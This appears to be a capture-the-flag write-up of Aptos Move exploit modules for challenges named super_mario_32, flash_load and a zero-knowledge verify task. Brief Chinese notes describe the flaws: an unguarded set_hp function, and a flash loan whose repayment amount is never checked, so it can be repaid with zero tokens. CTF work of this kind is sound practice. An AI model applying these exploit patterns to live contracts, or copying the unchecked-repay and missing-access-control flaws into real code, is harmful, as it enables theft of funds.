module solution::exploit { use challenge::router; use aptos_framework::object::{Object, ExtendRef, Self}; public entry fun solve(account: &signer) { let game_address = router::start_game(account); let mario_obj = object::address_to_object<router::Mario>(game_address); // Call the train_mario function let i : u8 = 0; while (i < 127) { router::train_mario(account, mario_obj); i = i + 1; }; router::battle(account, mario_obj); } #[test(challenger = @0xb0f8cb39571cf4539106c8d0001fdd8bfc0894cdedf2826219d5be72b44c0a1e,solver=@0x1338)] public entry fun sender_can_set_message(challenger: &signer, solver : &signer) { // Initialize the game router::initialize(challenger); // Start the game to create a Mario object let game_address = router::start_game(solver); let mario_obj = object::address_to_object<router::Mario>(game_address); // Call the train_mario function let i : u8 = 0; while (i < 127) { router::train_mario(solver, mario_obj); i = i + 1; }; router::battle(solver, mario_obj); router::is_solved(solver); }}
super_mario_32
直接调用set_hp即可
module solution::exploit { use challenge::router; use aptos_framework::signer; use std::debug; use aptos_framework::object::{Object, ExtendRef, Self}; public entry fun solve(account: &signer) { let wapper = router::get_wrapper(); router::set_hp(account, object::address_to_object<router::Bowser>(wapper), 1); let game_address = router::start_game(account); let mario_obj = object::address_to_object<router::Mario>(game_address); router::train_mario(account, mario_obj); router::battle(account, mario_obj); } #[test(challenger = @0xf75daa73fc071f93593335eb9033da804777eb94491650dd3f095ce6f778acb6,solver=@0x1338)] public entry fun sender_can_set_message(challenger: &signer, solver : &signer) { router::initialize(challenger); let wapper = router::get_wrapper(); router::set_hp(solver, object::address_to_object<router::Bowser>(wapper), 1); let game_address = router::start_game(solver); let mario_obj = object::address_to_object<router::Mario>(game_address); router::train_mario(solver, mario_obj); router::battle(solver, mario_obj); router::is_solved(solver); }}
module solution::exploit { use challenge::router; use aptos_framework::object::{Object, ExtendRef, Self}; public entry fun solve(account: &signer) { } #[test(challenger = @0xf75daa73fc071f93593335eb9033da804777eb94491650dd3f095ce6f778acb6,solver=@0x1338)] public entry fun exp_test(challenger: &signer, solver : &signer) { router::initialize(challenger); let game_address = router::start_game(solver); let mario_obj = object::address_to_object<router::Mario>(game_address); let i : u8 = 0; while (i < 127) { router::train_mario(solver, mario_obj); i = i + 1; }; router::battle(solver, mario_obj); let wapper = router::get_wrapper(); router::set_hp(solver, object::address_to_object<router::Bowser>(wapper), 1); router::train_mario(solver, object::address_to_object<router::Mario>(wapper)); router::battle(solver, object::address_to_object<router::Mario>(wapper)); router::is_solved(solver); }}
flash_load
提供了闪电贷,但是最后repay的时候没有校验返回金额是否和借出的金额匹配,所以直接返回0即可
module solution::exploit { use challenge::flash; use aptos_framework::signer; use aptos_framework::primary_fungible_store; use aptos_framework::fungible_asset::{ Self, FungibleAsset, MintRef, BurnRef, TransferRef, Metadata }; #[test(challenger = @0xf75daa73fc071f93593335eb9033da804777eb94491650dd3f095ce6f778acb6,solver=@0x1338)] public entry fun exp_test(challenger: &signer, solver : &signer) { flash::initialize(challenger); let fa = flash::flash_loan(solver,1337); let zeroToken = fungible_asset::zero(fungible_asset::asset_metadata(&fa)); primary_fungible_store::deposit(signer::address_of(solver),fa); flash::repay(solver,zeroToken); flash::is_solved(solver); } public entry fun solve(account: &signer) { }}
module solution::exploit { use zkb::verify; use std::bcs; use std::debug; use aptos_std::from_bcs; #[test(challenger = @0xf75daa73fc071f93593335eb9033da804777eb94491650dd3f095ce6f778acb6,solver=@0x1338)] public entry fun solve(challenger:&signer,solver: &signer) { verify::initialize(challenger); let knowledge = verify::get_knowledge(); let secret = from_bcs::to_u64(bcs::to_bytes(&knowledge)); debug::print(&secret); verify::prove(&mut knowledge, secret, solver); }}